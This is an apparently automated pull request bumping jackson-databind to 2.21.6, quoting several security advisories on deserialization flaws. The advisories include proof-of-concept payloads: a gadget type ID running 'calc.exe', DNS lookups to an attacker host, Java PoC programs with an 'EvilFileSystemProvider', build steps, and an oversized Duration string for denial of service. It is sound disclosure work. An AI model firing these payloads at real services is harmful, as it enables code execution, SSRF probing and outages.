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feat(deps): update dependencies com.fasterxml.jackson.core:jackson-databind from v2.20.0 to v2.21.6 [security] - #206

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feat(deps): update dependencies com.fasterxml.jackson.core:jackson-databind from v2.20.0 to v2.21.6 [security]#206
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ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
com.fasterxml.jackson.core:jackson-databind (source) 2.20.0 → 2.21.6 age confidence

jackson-databind has a PolymorphicTypeValidator bypass via generic type parameters that allows arbitrary class instantiation

CVE-2026-54512 / GHSA-j3rv-43j4-c7qm

More information

Details

jackson-databind's PolymorphicTypeValidator (PTV) is the primary safety mechanism guarding polymorphic deserialization. When polymorphic typing is enabled and a type identifier contains generic parameters (i.e. the type ID string contains <), DatabindContext._resolveAndValidateGeneric() validates only the raw container class name (the substring before <) against the configured PTV.

If the container type is approved, the method parses the full canonical type string via TypeFactory.constructFromCanonical() and returns the fully parameterized type without ever validating the nested type arguments against the PTV. The nested type arguments are then resolved, instantiated, and populated as beans during deserialization.

An attacker who controls the type ID can therefore place a denied class as a generic type parameter of an allowed container — for example java.util.ArrayList<com.evil.Gadget> when only java.util.ArrayList is allow-listed. The container passes the PTV check; com.evil.Gadget is loaded via Class.forName(name, true, loader), instantiated, and its properties are set from attacker-controlled JSON. This completely bypasses an explicitly configured PTV allow-list.

This is the same vulnerability class responsible for the historical sequence of jackson-databind deserialization CVEs; here it manifests as a validator bypass rather than a missing deny-list entry.

Impact
  • Bypass of the PTV allow-list, including the recommended BasicPolymorphicTypeValidator configured with name-prefix allow rules.
  • Arbitrary class instantiation of any type assignable to the container's element/parameter position, with attacker-controlled property values (setter/field injection).
  • Potential unauthenticated remote code execution when a class with exploitable side effects (JNDI lookup, JDBC/connection-pool gadgets,TemplatesImpl-style loaders, etc.) is present on the classpath.

Applications that accept untrusted JSON and rely on a configured PTV — the documented, security-conscious configuration — are affected.

Proof of Concept

Configuration restricting polymorphic deserialization to a single safe container:

BasicPolymorphicTypeValidator ptv = BasicPolymorphicTypeValidator.builder()
        .allowIfSubType("java.util.ArrayList")
        .build();

ObjectMapper mapper = JsonMapper.builder()
        .polymorphicTypeValidator(ptv)
        .build();

Malicious payload (Wrapper.value is Object with @JsonTypeInfo(use = Id.CLASS, include = As.WRAPPER_ARRAY)):

{"value":["java.util.ArrayList<com.evil.EvilGadget>",[{"cmd":"calc.exe"}]]}

On vulnerable versions, com.evil.EvilGadget is instantiated and its cmd property is set, despite only java.util.ArrayList being allow-listed. On 2.18.8 / 2.21.4 / 3.1.4 the deserialization throws InvalidTypeIdException before instantiation.

Variant payloads (all bypass an ArrayList/HashMap allow-list):

Type ID Smuggled type position
java.util.ArrayList<Evil> list element
java.util.HashMap<Evil,String> map key
java.util.HashMap<String,Evil> map value
java.util.ArrayList<java.util.ArrayList<Evil>> nested element
java.util.ArrayList<Evil[]> array element
Patches

Fixed in 2.18.8, 2.21.4 and 3.1.4 via the changes for FasterXML/jackson-databind#5988, commit 434d6c511. The fix adds recursive validation of each non-trivial type parameter (and array element types appearing as parameters) through the full PTV chain, with documented exemptions for Object (wildcard resolution) and Enum types.

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has an array subtype allowlist bypass in BasicPolymorphicTypeValidator (allowIfSubTypeIsArray)

CVE-2026-54513 / GHSA-rmj7-2vxq-3g9f

More information

Details

Summary

BasicPolymorphicTypeValidator.Builder.allowIfSubTypeIsArray() allowlists any array type based only on clazz.isArray(), without validating the array's component (element) type against the configured allowlist. A PTV built with allowIfSubTypeIsArray() plus an explicit concrete-type allowlist therefore still permits EvilType[] even though EvilType is not allowlisted. When Jackson deserializes the elements and no per-element type IDs are present, it instantiates the component type directly with no further PTV check, bypassing the allowlist.

Impact

Applications using BasicPolymorphicTypeValidator with allowIfSubTypeIsArray() as a safeguard get no protection for concrete array component types; an attacker controlling JSON can instantiate non-allowlisted types via an array wrapper, re-opening the gadget-instantiation risk PTV is meant to prevent.

Affected / Patched (verified via git tag --contains)
  • 2.18 line: >= 2.10.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4

PolymorphicTypeValidator was added in 2.10.0 so vulnerability N/A for versions prior to that.

Severity / CWE

Maintainer: significant. Reporter: HIGH. CWE-184 (Incomplete List of Disallowed Inputs); related CWE-502.

Upstream fix

FasterXML/jackson-databind#5981; fix PR #​5983 (24529da), 2.18 backport PR #​5984 (01d1692). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 8.1 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: InetSocketAddress deserialization triggers eager DNS resolution (SSRF)

CVE-2026-54514 / GHSA-hgj6-7826-r7m5

More information

Details

Summary

JDKFromStringDeserializer constructed InetSocketAddress with new InetSocketAddress(host, port), which performs eager DNS name resolution for hostname inputs at deserialization time. An application that binds untrusted JSON into a type containing an InetSocketAddress field issues an attacker-chosen DNS query during readValue, before any application-level validation or connect logic. The fix uses InetSocketAddress.createUnresolved(host, port), deferring DNS to an explicit connect.

Impact

An attacker controlling JSON deserialized into an InetSocketAddress-bearing type can force outbound DNS lookups for attacker-chosen hostnames at deserialization time (SSRF / DNS-based out-of-band interaction / internal-resolver probing), purely from binding.

Affected / Patched (verified via git tag --contains on 1f5a103)
  • 2.18 line: >= 2.18.0, < 2.18.8 -> fixed in 2.18.8
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4
Severity / CWE

Maintainer: minor. Reporter: LOW. CWE-918 (SSRF).

Upstream fix

FasterXML/jackson-databind#5951 ("Improve InetSocketAddress deserialization"). Released 2026-06-04 in 2.18.8 / 2.21.4 / 3.1.4.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind has case-insensitive deserialization bypasses per-property @​JsonIgnoreProperties

CVE-2026-54515 / GHSA-5jmj-h7xm-6q6v

More information

Details

Summary

In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.

Impact

An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).

Affected / Patched

Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.

Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915.

Upstream fix

FasterXML/jackson-databind#5962 (PR #​5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: @​JsonIgnore on a Record property is bypassed with a PropertyNamingStrategy

CVE-2026-59888 / GHSA-3pjw-73gf-8qr5

More information

Details

Summary

For Java Records, POJOPropertiesCollector._removeUnwantedIgnorals() records a @JsonIgnore-annotated component under its original implicit name before _renameUsing() applies the PropertyNamingStrategy. After the rename, _ignoredPropertyNames still holds only the pre-rename name, so _ignorableProps is built from the stale key. The renamed JSON key passes IgnorePropertiesUtil.shouldIgnore() and is assigned to the Record's constructor parameter, defeating the @JsonIgnore.

Impact

A Record using a naming strategy that relies on @JsonIgnore to keep an internal/privileged component out of deserialization can have that component set from the wire via its renamed key (e.g. a role/flag controlled by an untrusted client).

Affected / Patched (verified via git tag --contains)
  • 2.15-2.18 line: >= 2.15.0, < 2.18.8 -> fixed in 2.18.8 (backport c7c6783)
  • 2.19-2.21 line: >= 2.19.0, < 2.21.4 -> fixed in 2.21.4
  • 3.x line: >= 3.0.0, < 3.1.4 -> fixed in 3.1.4 (#​5974, baa2cdf)
Severity / CWE

Maintainer: minor. Reporter: Moderate. CWE-915; related CWE-345.

Credits

Omkhar Arasaratnam (@​omkhar) - finder.

Severity

  • CVSS Score: 6.5 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Incomplete fix for CVE-2026-54514: eager DNS resolution (SSRF) still present in InetAddress deserialization

CVE-2026-77310 / GHSA-vvgp-rfg2-7rr6

More information

Details

Summary

CVE-2026-54514 (GHSA-hgj6-7826-r7m5) fixed an eager-DNS-resolution / SSRF issue in jackson-databind's deserialization of java.net.InetSocketAddress by switching to InetSocketAddress.createUnresolved(...) (PR #​5951, commit 1f5a1037, released in 2.18.8 / 2.21.4 / 3.1.4). That fix did not cover the sibling java.net.InetAddress branch in the very same FromStringDeserializer.Std._deserialize() switch statement, which still calls InetAddress.getByName(value) and therefore performs an eager forward DNS lookup on attacker-controlled input at deserialization time. The fix is incomplete: the same vulnerability class remains reachable through InetAddress.

Details

File: src/main/java/com/fasterxml/jackson/databind/deser/std/FromStringDeserializer.java

Sibling cases in the same switch:

  • Line 357-358 (UNFIXED):
    case STD_INET_ADDRESS:
    return InetAddress.getByName(value); // eager forward DNS lookup
  • Line 359-381 + helper at 494-496 (FIXED by PR #​5951):
    protected InetSocketAddress _inetSocketAddress(String host, int port) {
    // 05-May-2026, tatu: [databind#5951] Prevent DNS lookup:
    return InetSocketAddress.createUnresolved(host, port); // no DNS
    }

InetAddress is a registered standard string-like scalar type (FromStringDeserializer.types() line 73; findDeserializer() maps it to STD_INET_ADDRESS at line 119-120). Any value deserialized into an InetAddress-typed target — a plain POJO field, a polymorphic subtype, or a default-typing-permitted slot — reaches InetAddress.getByName(attackerControlledString), which invokes the OS/JVM resolver and performs forward DNS resolution before any application validation.

The parent fix's own added unit test asserts address.isUnresolved() with the comment "should NOT resolve address", confirming that performing DNS resolution during deserialization is precisely the behavior being treated as the vulnerability. The InetAddress branch still violates that property.

Verified against the FIXED released artifact (jackson-databind 2.18.8, from Maven Central): decompiled bytecode shows the InetSocketAddress branch now routes through _inetSocketAddress -> createUnresolved, while InetAddress.getByName is still emitted unchanged in the InetAddress branch.

PoC

Lab-only, zero network egress. Run against the fixed jackson-databind 2.18.8.

A custom JDK InetAddressResolver SPI (Java 18+) counts forward lookups locally and answers with loopback, so no traffic leaves the host:

ObjectMapper m = new ObjectMapper();
// InetSocketAddress (patched): 0 resolver lookups, isUnresolved=true
m.readValue("\"internal-metadata.attacker-oob.example:8080\"", InetSocketAddress.class);
// InetAddress (unpatched sibling): 1 resolver lookup on the attacker host
m.readValue("\"internal-metadata.attacker-oob.example\"", InetAddress.class);

Observed output (jackson 2.18.8):
[A] InetSocketAddress isUnresolved=true resolverLookups=0 lastHost=null
[B] InetAddress value=localhost/127.0.0.1 resolverLookups=1 lastHost=internal-metadata.attacker-oob.example

A standalone variant (no SPI) using an RFC-6761 .invalid canary host shows the same: deserializing into InetAddress raises UnknownHostException (the OS resolver was invoked), while InetSocketAddress stays unresolved. Full source in PocResolverCount.java and PocInetAddressIncompleteFix.java.

Reachability with a plain field (no annotations, no polymorphism, no default typing):
static class Config { public InetAddress bindHost; public int port; }
mapper.readValue("{"bindHost":"poc-reach.example","port":1}", Config.class);
// -> resolver invoked on "poc-reach.example"

Impact

An attacker who can influence JSON deserialized into an InetAddress target can force the application to perform outbound forward DNS lookups for attacker-chosen hostnames at deserialization time, before any application-level validation. This yields a DNS-based SSRF / OOB primitive: out-of-band exfiltration / interaction via DNS callbacks, and blind probing of whether internal hostnames resolve (internal-host enumeration). This is the same impact class and trust boundary for which CVE-2026-54514 (CVSS 5.3, CWE-918) was assigned to the InetSocketAddress branch. It is a DNS-lookup / blind SSRF primitive, not arbitrary HTTP SSRF or RCE; it does not itself open a socket.

Suggested fix: avoid eager resolution for InetAddress as well — e.g. defer resolution, validate the host string before resolving, or provide an opt-in/opt-out consistent with the InetSocketAddress fix (there is no direct unresolved-InetAddress equivalent, so deferring/validating or documenting the resolution is the practical mitigation).

Credit : Ta Duc Thien

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Path Deserialization Missing Scheme Allowlist for FileSystemProvider Resolution

CVE-2026-19032 / GHSA-wjgm-6hv5-3cvf

More information

Details

Summary

A java.nio.file.Path field bound from untrusted JSON reaches JDKFromStringDeserializer.NioPathHelper.deserialize. The attacker string flows through new URI(value) → Path.of(uri), then on FileSystemNotFoundException into a ServiceLoader<FileSystemProvider> enumeration that calls provider.getPath(uri) on the first scheme-matching provider. No scheme is rejected, so untrusted JSON can drive an arbitrary registered provider under the default JsonMapper.builder().build().

Impact is bounded. The JDK built-in providers (file, jar/zipfs) do no network I/O and do not mount, so the path is inert without a side-effecting third-party provider. Binding Path from untrusted input is already an anti-pattern.

Description

NioPathHelper.deserialize performs provider resolution driven by the attacker URI (abridged; the real method also handles a Windows drive-letter prefix and wraps failures via ctxt.handleInstantiationProblem(...)):

int colonIx = value.indexOf(':');
if (colonIx < 0) { return Path.of(value); }
...
final URI uri = new URI(value);          // attacker-controlled URI string
try {
    return Path.of(uri);                  // resolves scheme -> may load a FileSystemProvider
} catch (FileSystemNotFoundException cause) {
    final String scheme = uri.getScheme();
    for (FileSystemProvider provider : ServiceLoader.load(FileSystemProvider.class)) {
        if (provider.getScheme().equalsIgnoreCase(scheme)) {
            return provider.getPath(uri);  // attacker scheme selects & drives a provider
        }
    }
    // no matching provider -> ctxt.handleInstantiationProblem(...) (throws by default)
}

The attacker's scheme selects the provider and the attacker's URI is passed to it; the enumeration also forces provider classloading during readValue. For built-in schemes like jar:, getPath throws FileSystemNotFoundException (a mount requires explicit newFileSystem), surfacing as a wrapped ValueInstantiationException with no terminal effect. Any mount, network I/O, or resource access depends entirely on the selected provider.

Vulnerable Code Location
  • src/main/java/tools/jackson/databind/deser/jdk/JDKFromStringDeserializer.java
    • STD_PATH → NioPathHelper.deserialize; NioPathHelper.deserialize body
      (new URI → Path.of(uri) → ServiceLoader.load(FileSystemProvider.class) → provider.getPath(uri)).
Proof of Concept

Two PoCs are provided.

PoC 2 registers a custom FileSystemProvider to show that attacker JSON reaches provider.getPath(attackerURI) inside readValue. Whether a third-party provider then does anything harmful is outside the library's control. The in-scope issue is PoC 1 — the jar:/arbitrary-scheme path reaching the ServiceLoader fallback with no scheme restriction.

PoC 1 — sink reached (built-in jar provider).

com/poc/Vuln04_PathProvider.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import java.nio.file.Path;

/**
 * Vuln 4: java.nio.file.Path deserialization resolves an attacker URI via
 * Path.of(uri) / ServiceLoader<FileSystemProvider>.
 */
public class Vuln04_PathProvider {
    public static class Config { public Path workdir; }

    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JsonMapper.builder().build();
        // jar: scheme forces FileSystemProvider resolution / mounting attempt on attacker URI.
        String json = "{\"workdir\":\"jar:file:/tmp/jackson_poc_evil.zip!/x\"}";
        System.out.println("Deserializing (default mapper): " + json);
        try {
            Config c = mapper.readValue(json, Config.class);
            System.out.println("Resolved Path = " + c.workdir + "  (class=" + (c.workdir==null?"null":c.workdir.getClass().getName()) + ")");
            System.out.println("RESULT: VULNERABLE - attacker URI scheme resolved through provider machinery during readValue");
        } catch (Throwable t) {
            System.out.println("Throwable during resolution: " + t.getClass().getName() + ": " + t.getMessage());
            System.out.println("RESULT: VULNERABLE (attacker URI drove provider resolution; threw " + t.getClass().getSimpleName() + " inside readValue)");
        }
    }
}

PoC 2 — scheme-selection mechanism demo (custom FileSystemProvider).
A third-party provider (scheme evilscheme) registered via META-INF/services/java.nio.file.spi.FileSystemProvider, which is standing in for any provider a real application ships.

com/poc/EvilFileSystemProvider.java:

package com.poc;

import java.nio.file.*;
import java.nio.file.spi.FileSystemProvider;
import java.nio.file.attribute.*;
import java.net.URI;
import java.io.IOException;
import java.util.*;
import java.util.Set;
import java.nio.channels.SeekableByteChannel;

/**
 * A custom java.nio.file.spi.FileSystemProvider registered via META-INF/services, using the
 * scheme "evilscheme". It stands in for ANY third-party FileSystemProvider present on a real
 * application's classpath. Its static initializer and getPath() record that they executed,
 * proving that attacker-controlled JSON drove provider class loading + provider.getPath(uri)
 * inside jackson's readValue.
 */
public class EvilFileSystemProvider extends FileSystemProvider {
    public static volatile boolean STATIC_INIT_RAN = false;
    public static volatile String GET_PATH_URI = null;
    static { STATIC_INIT_RAN = true; }

    @Override public String getScheme() { return "evilscheme"; }

    @Override public Path getPath(URI uri) {
        GET_PATH_URI = uri.toString();
        System.out.println(">>> [EVIL-PROVIDER] getPath() invoked with attacker URI: " + uri);
        // A malicious/vulnerable provider could here open a socket, read a file, mount a FS, etc.
        return java.nio.file.Path.of(System.getProperty("java.io.tmpdir"), "evilprovider-marker");
    }

    // --- remaining abstract methods: minimal stubs ---
    @Override public FileSystem newFileSystem(URI uri, Map<String,?> env) { throw new UnsupportedOperationException(); }
    @Override public FileSystem getFileSystem(URI uri) { throw new FileSystemNotFoundException(); }
    @Override public SeekableByteChannel newByteChannel(Path p, Set<? extends OpenOption> o, FileAttribute<?>... a) throws IOException { throw new UnsupportedOperationException(); }
    @Override public DirectoryStream<Path> newDirectoryStream(Path d, DirectoryStream.Filter<? super Path> f) { throw new UnsupportedOperationException(); }
    @Override public void createDirectory(Path d, FileAttribute<?>... a) { throw new UnsupportedOperationException(); }
    @Override public void delete(Path p) { throw new UnsupportedOperationException(); }
    @Override public void copy(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public void move(Path s, Path t, CopyOption... o) { throw new UnsupportedOperationException(); }
    @Override public boolean isSameFile(Path p, Path p2) { return false; }
    @Override public boolean isHidden(Path p) { return false; }
    @Override public FileStore getFileStore(Path p) { throw new UnsupportedOperationException(); }
    @Override public void checkAccess(Path p, AccessMode... m) { }
    @Override public <V extends FileAttributeView> V getFileAttributeView(Path p, Class<V> t, LinkOption... o) { return null; }
    @Override public <A extends BasicFileAttributes> A readAttributes(Path p, Class<A> t, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public Map<String,Object> readAttributes(Path p, String a, LinkOption... o) { throw new UnsupportedOperationException(); }
    @Override public void setAttribute(Path p, String a, Object v, LinkOption... o) { }
}

Registration descriptor —
src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider:

com.poc.EvilFileSystemProvider

Driver — com/poc/Vuln04b_PathProviderMount.java:

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;

/**
 * Vuln 4 (end-to-end terminal effect): a third-party FileSystemProvider registered via
 * META-INF/services (scheme "evilscheme") stands in for any provider on a real app's
 * classpath. Attacker JSON with that scheme drives jackson's ServiceLoader fallback to
 * (1) load the provider class (running its static initializer) and (2) invoke
 * provider.getPath(attackerUri) -- all inside readValue, with NO application code.
 */
public class Vuln04b_PathProviderMount {
    public static class Config { public java.nio.file.Path workdir; }

    public static void main(String[] args) throws Exception {
        System.out.println("Provider static-init ran before deserialization? " + EvilFileSystemProvider.STATIC_INIT_RAN);
        ObjectMapper mapper = JsonMapper.builder().build();   // default config
        String json = "{\"workdir\":\"evilscheme://attacker-controlled/target?x=1\"}";
        System.out.println("Deserializing (default mapper): " + json);

        Config c = mapper.readValue(json, Config.class);

        System.out.println("Resolved Path = " + c.workdir);
        System.out.println("Provider static-init ran: " + EvilFileSystemProvider.STATIC_INIT_RAN);
        System.out.println("Provider.getPath() attacker URI: " + EvilFileSystemProvider.GET_PATH_URI);
        boolean ok = EvilFileSystemProvider.GET_PATH_URI != null
                && EvilFileSystemProvider.GET_PATH_URI.contains("attacker-controlled");
        System.out.println(ok
            ? "RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)"
            : "RESULT: NOT reproduced");
    }
}
Execution Steps

The PoCs need only the three Jackson 3.2.1 jars on the classpath and can be built with plain javac/java . PoC 2 additionally requires the META-INF/services descriptor to be on the runtime classpath

##### 0. Locate the three published dependency jars.
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
ANN="$M2/com/fasterxml/jackson/core/jackson-annotations/2.22/jackson-annotations-2.22.jar"
CP="$DB:$CORE:$ANN"

##### 1. Compile the three sources.
cd poc-project
mkdir -p out
javac -cp "$CP" -d out \
  src/main/java/com/poc/EvilFileSystemProvider.java \
  src/main/java/com/poc/Vuln04_PathProvider.java \
  src/main/java/com/poc/Vuln04b_PathProviderMount.java

##### 2. Put the ServiceLoader descriptor on the runtime classpath (needed by PoC 2).
mkdir -p out/META-INF/services
cp src/main/resources/META-INF/services/java.nio.file.spi.FileSystemProvider \
   out/META-INF/services/java.nio.file.spi.FileSystemProvider

##### 3. Run both PoCs.
java -cp "out:$CP" com.poc.Vuln04_PathProvider        # PoC 1
java -cp "out:$CP" com.poc.Vuln04b_PathProviderMount  # PoC 2
Reproduction Evidence

Executed against jackson-databind 3.2.1 (OpenJDK 25).

PoC 1 :

Deserializing (default mapper): {"workdir":"jar:file:/tmp/jackson_poc_evil.zip!/x"}
Throwable during resolution: tools.jackson.databind.exc.ValueInstantiationException: Cannot construct instance of `java.nio.file.Path`, problem: `java.nio.file.FileSystemNotFoundException`
 at [Source: REDACTED (`StreamReadFeature.INCLUDE_SOURCE_IN_LOCATION` disabled); byte offset: #UNKNOWN] (through reference chain: com.poc.Vuln04_PathProvider$Config["workdir"])
RESULT: VULNERABLE (attacker URI drove provider resolution; threw ValueInstantiationException inside readValue)

Notes: the JDK built-in jar provider's getPath does not auto-mount (it also throws FileSystemNotFoundException, since only newFileSystem mounts). PoC 1 proves the in-scope defect: attacker input reaches the scheme-driven ServiceLoader resolution during readValue with no allow-list. PoC 2 only illustrates the downstream mechanism.

PoC 2 :

Provider static-init ran before deserialization? true
Deserializing (default mapper): {"workdir":"evilscheme://attacker-controlled/target?x=1"}
>>> [EVIL-PROVIDER] getPath() invoked with attacker URI: evilscheme://attacker-controlled/target?x=1
Resolved Path = /var/folders/.../T/evilprovider-marker
Provider static-init ran: true
Provider.getPath() attacker URI: evilscheme://attacker-controlled/target?x=1
RESULT: VULNERABLE - attacker JSON drove ServiceLoader provider load + provider.getPath(attackerUri) inside readValue (terminal effect proven)

Purely from a JSON string, jackson's ServiceLoader fallback selected the attacker-named scheme's provider and invoked provider.getPath(uri) with the full attacker URI inside readValue. Whether a given provider then does anything harmful is outside the library's control; the in-scope issue is the absence of a scheme restriction before this fallback runs.

Impact

Untrusted JSON drives provider.getPath(attackerURI) on an attacker-chosen provider during readValue. With only the JDK built-in providers this is inert. Real impact requires a side-effecting third-party provider on the classpath. The fix is to close the
scheme-restriction gap.

Recommended Fix
  1. Restrict the resolved scheme to a fixed, hard-coded set ; reject jar: and other schemes via ctxt.handleWeirdStringValue(...). A hard-coded set keeps the fix backport-safe with no new configuration surface.
  2. Skip the ServiceLoader<FileSystemProvider> enumeration for disallowed schemes, so untrusted JSON cannot select and drive an arbitrary registered provider.
  3. Document that java.nio.file.Path-typed fields should not be bound from untrusted JSON.

Severity

  • CVSS Score: 5.3 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

jackson-databind: Duration XMLGregorianCalendar Unbounded Number Parse DoS

CVE-2026-68497 / GHSA-q4xh-88c3-wmh7

More information

Details

Summary

jackson-databind 3.2.1 deserializes a JSON string bound to a javax.xml.datatype.Duration or javax.xml.datatype.XMLGregorianCalendar field by passing the raw string verbatim to DatatypeFactory.newDuration(value) / newXMLGregorianCalendar(value). Per the XML-Schema lexical grammar these factory methods accept numeric components of arbitrary length, which the JDK materializes into java.math.BigInteger / BigDecimal using the native BigInteger(String) constructor (an O(n²) parser). Because the digits reside inside a JSON string token, jackson-core's StreamReadConstraints.maxNumberLength guard (which bounds only JSON number tokens) never fires, so there is no length limit anywhere on this path. An unauthenticated attacker can submit a single small request (e.g. ~1–5 MB) that forces tens of seconds to minutes of single-thread CPU consumption, yielding a denial of service under the default JsonMapper.builder().build() mapper with no polymorphic typing or special configuration.

Details

StreamReadConstraints.maxNumberLength (jackson-core, default 1000) bounds the text length of JSON number tokens only; it does not apply to digits inside a JSON string token (maxStringLength default is 100,000,000). jackson's own value binders compensate for this gap elsewhere — NumberDeserializers explicitly call streamReadConstraints().validateIntegerLength(text.length()) / validateFPLength(text.length()) before parsing a stringified number (NumberDeserializers.java:1063, :1139). The XML-datatype deserializer omits this identical pre-check.

CoreXMLDeserializers registers Std deserializers by default for any field typed javax.xml.datatype.Duration or XMLGregorianCalendar (findBeanDeserializer), with no opt-in required. Std._deserialize hands the attacker string straight to the datatype factory:

protected Object _deserialize(String value, DeserializationContext ctxt) {
    switch (_kind) {
    case TYPE_DURATION:
        return _dataTypeFactory.newDuration(value);                 // attacker lexical string
    case TYPE_G_CALENDAR:
        Date d;
        try { d = _parseDate(value, ctxt); }
        catch (DatabindException e) {
            return _dataTypeFactory.newXMLGregorianCalendar(value); // attacker lexical string
        }
        return _gregorianFromDate(ctxt, d);
    }
    throw new IllegalStateException();
}

Per the XSD lexical rules, newDuration parses each numeric component (years, months, …) into a BigInteger, and newXMLGregorianCalendar parses fractional seconds into a BigDecimal. The JDK uses the native BigInteger(String) / BigDecimal(String) constructors, which are O(n²) in the digit count. A short JSON string such as "P" + "9"×N + "Y" therefore forces the allocation and O(N²) parse of an N-digit BigInteger, entirely downstream of every jackson-core constraint.

Vulnerable Code Location
  • src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:137
    — newDuration(value) (TYPE_DURATION)
  • src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:147
    — newXMLGregorianCalendar(value) (TYPE_G_CALENDAR fallback)
  • Registration (default, no opt-in):
    src/main/java/tools/jackson/databind/ext/CoreXMLDeserializers.java:42-46
    (findBeanDeserializer returns Std for XMLGregorianCalendar / Duration)
  • Contrast — correct length-guard pattern already used elsewhere in the library:
    src/main/java/tools/jackson/databind/deser/jdk/NumberDeserializers.java:1063,1139
Proof of Concept

PoC source (Vuln07_DurationDoS.java). It uses only the public ObjectMapper.readValue API and a default mapper; the only "special" element is a normal DTO exposing a javax.xml.datatype.Duration field.

package com.poc;

import tools.jackson.databind.ObjectMapper;
import tools.jackson.databind.json.JsonMapper;
import javax.xml.datatype.Duration;

/**
 * Vuln 7: Unbounded numeric allocation / CPU DoS via Duration lexical deserialization.
 * A short JSON string forces parsing of a huge BigInteger inside DatatypeFactory.newDuration.
 */
public class Vuln07_DurationDoS {
    public static class Cfg { public Duration ttl; }

    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JsonMapper.builder().build();
        int digits = Integer.getInteger("digits", 5_000_000);

        // Baseline small parse.
        long t0 = System.nanoTime();
        mapper.readValue("{\"ttl\":\"P1Y\"}", Cfg.class);
        long tBase = System.nanoTime() - t0;
        System.out.println("Baseline (P1Y) parse: " + (tBase/1_000_000) + " ms");

        String big = "P" + "9".repeat(digits) + "Y";
        String json = "{\"ttl\":\"" + big + "\"}";
        System.out.println("Payload JSON size ~ " + json.length() + " bytes (year component = " + digits + " digits)");
        long t1 = System.nanoTime();
        try {
            Cfg c = mapper.readValue(json, Cfg.class);
            long dt = System.nanoTime() - t1;
            System.out.println("Parsed giant Duration in " + (dt/1_000_000) + " ms; years field type materialized as BigInteger");
            System.out.println("RESULT: VULNERABLE - " + digits + "-digit BigInteger parsed from a "
                    + json.length() + "-byte payload (amplified CPU/allocation, StreamReadConstraints bypassed)");
        } catch (Throwable t) {
            long dt = System.nanoTime() - t1;
            System.out.println("After " + (dt/1_000_000) + " ms threw " + t.getClass().getName() + ": " + t.getMessage());
        }
    }
}

Minimal HTTP-shaped payload (what an attacker sends):

{ "ttl": "P99999999999999999999…9Y" }   // 'P' + N nines + 'Y', N up to ~100,000,000

An XMLGregorianCalendar field is equally affected via the fractional-seconds path, e.g.
{ "at": "0000-01-01T00:00:00." + "9"×N }.

Execution Steps

The PoC needs only the three Jackson 3.2.1 jars on the classpath; it can be built and run with plain javac/java (no Maven required). The jars are the standard published artifacts (here resolved from the local Maven cache ~/.m2, but any copy works).

##### 0. Locate the three dependency jars (published Maven artifacts).
M2="$HOME/.m2/repository"
DB="$M2/tools/jackson/core/jackson-databind/3.2.1/jackson-databind-3.2.1.jar"
CORE="$M2/tools/jackson/core/jackson-core/3.2.1/jackson-core-3.2.1.jar"
